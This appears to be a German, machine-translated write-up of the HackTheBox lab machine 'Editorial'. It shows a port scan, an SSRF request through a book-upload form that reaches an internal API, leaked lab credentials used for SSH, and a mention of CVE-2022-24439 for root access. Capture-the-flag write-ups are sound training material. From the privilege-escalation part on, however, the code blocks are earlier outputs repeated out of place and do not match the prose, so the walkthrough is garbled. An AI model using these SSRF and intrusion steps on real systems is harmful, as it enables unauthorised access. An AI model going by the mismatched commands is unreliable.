Heim  >  Artikel  >  Backend-Entwicklung  >  HackTheBox – Writeup Editorial [Zurückgezogen]

HackTheBox – Writeup Editorial [Zurückgezogen]

Barbara Streisand
Barbara StreisandOriginal
2024-10-20 06:12:29441Durchsuche

In diesem Artikel werden wir eine einfache Linux-Maschine namens Editorial erkunden. Diese Maschine nutzt die folgenden Schwachstellen und Ausnutzungstechniken aus:

  • Serverseitige Anforderungsfälschung (SSRF)
  • Informationen durchgesickert
  • Git-Hacktricks
  • CVE-2022-24439 – Remote Code Execution (RCE)

Aufklärungs- und Benutzerflagge

Beginnen wir mit dem Scannen unseres Ziels, um mithilfe von nmap:
nach offenen Ports zu suchen

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/boardlight]
└─# nmap -sS --open -Pn 10.129.115.37
Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-15 15:06 EDT
Nmap scan report for 10.129.115.37 (10.129.115.37)
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Wir haben Port 22, auf dem SSH läuft, und Port 80, auf dem ein http-Server läuft.
Wenn wir über IP auf Port 80 zugreifen, werden wir zu editor.htb weitergeleitet. Fügen wir diesen Host zu unserer /etc/hosts hinzu.

Damit können wir auf folgende Inhalte zugreifen:

HackTheBox - Writeup Editorial [Retired]

Die Website ist ein Buchverlag. Unter den verfügbaren Optionen finden wir die folgende Seite:

HackTheBox - Writeup Editorial [Retired]

Hier können wir Bücher an den Verlag senden. Das Senden kann auf zwei Arten erfolgen: Hochladen einer Datei lokal oder über eine URL.

Beim Senden einer Datei werden wir zu einem Endpunkt ähnlich diesem umgeleitet:

  • http://editorial.htb/static/uploads/0483497c-293d-44a4-87af-46a85f20cb60 Durch Aufrufen der URL wird die Datei heruntergeladen, die wir zuvor im PDF-Format gesendet haben.

Bei der Analyse beider Optionen haben wir bei der Bereitstellung einer lokalen URL ein SSRF gefunden, das die folgende URL als Nutzlast sendet: http://127.0.0.1:5000

Damit laden wir die Datei herunter und wir haben den folgenden Inhalt im json-Format:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/editorial]
└─# jq . requests-result/0483497c-293d-44a4-87af-46a85f20cb60
{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}

Hier haben wir mehrere Endpunkte, die wir erkunden können. Dazu werden wir die Burp Suite (die bereits im Hintergrund läuft) verwenden, um neue Anfragen zu stellen.
Konzentrieren wir uns zunächst auf den Endpunkt /api/latest/metadata/messages/authors, der die folgende Funktion hat: Begrüßungsnachricht an unsere neuen Autoren abrufen

POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------346249403126403154753644150452
Content-Length: 401
Origin: http://editorial.htb
Connection: close
Referer: http://editorial.htb/upload

-----------------------------346249403126403154753644150452
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:5000/api/latest/metadata/messages/authors
-----------------------------346249403126403154753644150452
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


-----------------------------346249403126403154753644150452--

Damit haben wir folgende Rendite:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 22 Jun 2024 11:53:31 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 51

static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f

Jetzt führen wir eine Get-Anfrage für diesen Endpunkt durch:

GET /static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://editorial.htb/upload

Und so haben wir folgende Rendite:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 22 Jun 2024 11:53:42 GMT
Content-Type: application/octet-stream
Content-Length: 506
Connection: close
Content-Disposition: inline; filename=413c49ad-8adb-4bbb-9579-8a13e870ff5f
Last-Modified: Sat, 22 Jun 2024 11:53:31 GMT
Cache-Control: no-cache
ETag: "1719057211.219647-506-4209449183"

{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}

Wir haben wieder eine Rückgabe im JSON-Format. Hier haben wir eine Willkommensnachricht für neue Autoren und auch einen Benutzernamen und ein Passwort:
Benutzername:dev
Passwort: dev080217_devAPI!@

Mit diesem Benutzernamen und Passwort können wir per SSH auf unser Ziel zugreifen:

┌──(root㉿kali)-[/home/kali]
└─# ssh dev@editorial.htb
The authenticity of host 'editorial.htb (10.129.101.138)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
dev@editorial.htb's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Jun 22 11:54:05 AM UTC 2024

  System load:           0.0
  Usage of /:            60.4% of 6.35GB
  Memory usage:          12%
  Swap usage:            0%
  Processes:             225
  Users logged in:       0
  IPv4 address for eth0: 10.129.101.138
  IPv6 address for eth0: dead:beef::250:56ff:feb0:6c4b


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
dev@editorial:~$ 

Und mit diesem Benutzer haben wir die Benutzerflagge bekommen!

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/boardlight]
└─# nmap -sS --open -Pn 10.129.115.37
Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-15 15:06 EDT
Nmap scan report for 10.129.115.37 (10.129.115.37)
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Rechteausweitung und Root-Flag

Im Home-Verzeichnis des Benutzers dev haben wir ein Verzeichnis namens apps. Beim Zugriff auf dieses Verzeichnis haben wir folgenden Inhalt:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/editorial]
└─# jq . requests-result/0483497c-293d-44a4-87af-46a85f20cb60
{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}

Es gibt nur ein Verzeichnis namens .git. Das .git-Verzeichnis zeichnet alle Änderungen an einem Projekt auf und zeichnet den gesamten Verlauf des Projekts auf.
Damit können wir den Commit-Verlauf einsehen:

POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------346249403126403154753644150452
Content-Length: 401
Origin: http://editorial.htb
Connection: close
Referer: http://editorial.htb/upload

-----------------------------346249403126403154753644150452
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:5000/api/latest/metadata/messages/authors
-----------------------------346249403126403154753644150452
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


-----------------------------346249403126403154753644150452--

Unter den Commits gibt es Folgendes:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 22 Jun 2024 11:53:31 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 51

static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f

Daten von der Produktion zur Entwicklung wurden herabgestuft, hier finden wir wichtige Informationen.
Um den Inhalt dieses Commits anzuzeigen, verwenden wir den Befehl git revert, der die Änderungen rückgängig macht und das Projekt zu diesem Commit zurückführt:

GET /static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://editorial.htb/upload

Wir haben eine Datei namens app.py, schauen wir uns ihren Inhalt an:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 22 Jun 2024 11:53:42 GMT
Content-Type: application/octet-stream
Content-Length: 506
Connection: close
Content-Disposition: inline; filename=413c49ad-8adb-4bbb-9579-8a13e870ff5f
Last-Modified: Sat, 22 Jun 2024 11:53:31 GMT
Cache-Control: no-cache
ETag: "1719057211.219647-506-4209449183"

{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}

Hier haben wir Endpunkte, die denen ähneln, die wir ursprünglich über SSRF gefunden haben. Der Unterschied besteht darin, dass die Zugangsdaten einem anderen Benutzer gehören:

Benutzername: Produkt
Passwort: 080217_Producti0n_2023!@

Wenn wir uns die Benutzer ansehen, die wir in unserem Ziel haben und die über eine aktive Shell verfügen, haben wir die folgenden Benutzer:

┌──(root㉿kali)-[/home/kali]
└─# ssh dev@editorial.htb
The authenticity of host 'editorial.htb (10.129.101.138)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
dev@editorial.htb's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Jun 22 11:54:05 AM UTC 2024

  System load:           0.0
  Usage of /:            60.4% of 6.35GB
  Memory usage:          12%
  Swap usage:            0%
  Processes:             225
  Users logged in:       0
  IPv4 address for eth0: 10.129.101.138
  IPv6 address for eth0: dead:beef::250:56ff:feb0:6c4b


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
dev@editorial:~$ 

Es gibt einen Benutzer namens prod. Wir können dieses neue Passwort verwenden, um diesen Benutzer zu verwenden:

dev@editorial:~$ ls -a
.  ..  apps  .bash_history  .bash_logout  .bashrc  .cache  .profile  user.txt
dev@editorial:~$ cat user.txt
389072ccb7be77e63a1590defe01750e

Mit dem neuen Benutzer können wir sehen, dass wir mit sudo ein Python-Skript ausführen können, das uns Root-Rechte gewährt:

dev@editorial:~/apps$ ls -alh
total 12K
drwxrwxr-x 3 dev dev 4.0K Jun  5 14:36 .
drwxr-x--- 4 dev dev 4.0K Jun  5 14:36 ..
drwxr-xr-x 8 dev dev 4.0K Jun  5 14:36 .git

Der Befehl besteht darin, ein Python-Skript auszuführen, das aufgrund des Sternchens * jeden Parameter akzeptiert.
Wir können eine Vorschau des Inhalts des Skripts anzeigen, um zu sehen, was wir ausführen konnten:

dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 21:04:21 2023 -0500

    fix: bugfix in api port endpoint

commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 21:01:11 2023 -0500

    change: remove debug and update api port

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev

    * To use development environment.

commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info

    * It (will) contains internal info about the editorial, this enable
       faster access to information.

commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:48:43 2023 -0500

    feat: create editorial app

    * This contains the base of this project.
    * Also we add a feature to enable to external authors send us their
       books and validate a future post in our editorial.

Wir haben keine Berechtigung zum Bearbeiten der Datei, sondern nur zum Ausführen. Das Skript verwendet Python-Betriebssystem- und Sys-Bibliotheken, mit denen Sie Aktionen unter Linux ausführen können.
Das Skript akzeptiert einen Parameter, hierfür wird die Python-Bibliothek sys verwendet.
Mit der Funktion chdir aus der Python-Bibliothek os wird ein Verzeichniswechsel zu /opt/internal_apps/clone_changes vorgenommen.

Jetzt wird mit einer anderen Python-Bibliothek namens git ein git init erstellt, das ein Repository initialisiert.
Der vom Skript akzeptierte Parameter muss ein Repository sein, damit ein Git-Klon mit derselben Git-Bibliothek erstellt werden kann.

Wir können nach Schwachstellen in dieser Bibliothek suchen. Dazu müssen wir die Version über pip abrufen, einen Python-Paketmanager:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/boardlight]
└─# nmap -sS --open -Pn 10.129.115.37
Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-15 15:06 EDT
Nmap scan report for 10.129.115.37 (10.129.115.37)
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Bei der Suche nach Schwachstellen haben wir CVE-2022-24439 gefunden, bei dem es sich um eine Remotecodeausführung aufgrund unzureichender Validierung von Benutzereingaben handelt.
Diese Schwachstelle wurde von Snyk gemeldet, das auch einen PoC zur Verfügung stellte.

Wir können den POC so ändern, dass er Dateien als Root liest, oder unseren Zugriff auf Root erhöhen.

Um Dateien zu lesen, können wir den folgenden Befehl ausführen:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/editorial]
└─# jq . requests-result/0483497c-293d-44a4-87af-46a85f20cb60
{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}

Und so können wir die Root-Flagge lesen.

Wir können auch das Sticky-Bit in der Datei /bin/bash hinzufügen, auf diese Weise können wir eine Shell als Root erhalten. Das Sticky-Bit ermöglicht es anderen Benutzern, die Datei oder Binärdatei mit Berechtigungen des Dateieigentümers, in diesem Fall des Root-Benutzers, zu verwenden. Durch Hinzufügen zu /bin/bash erhalten wir eine Shell als Root:

POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------346249403126403154753644150452
Content-Length: 401
Origin: http://editorial.htb
Connection: close
Referer: http://editorial.htb/upload

-----------------------------346249403126403154753644150452
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:5000/api/latest/metadata/messages/authors
-----------------------------346249403126403154753644150452
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


-----------------------------346249403126403154753644150452--

Und so ist die Redaktionsmaschine fertig!

HackTheBox - Writeup Editorial [Retired]

Das obige ist der detaillierte Inhalt vonHackTheBox – Writeup Editorial [Zurückgezogen]. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn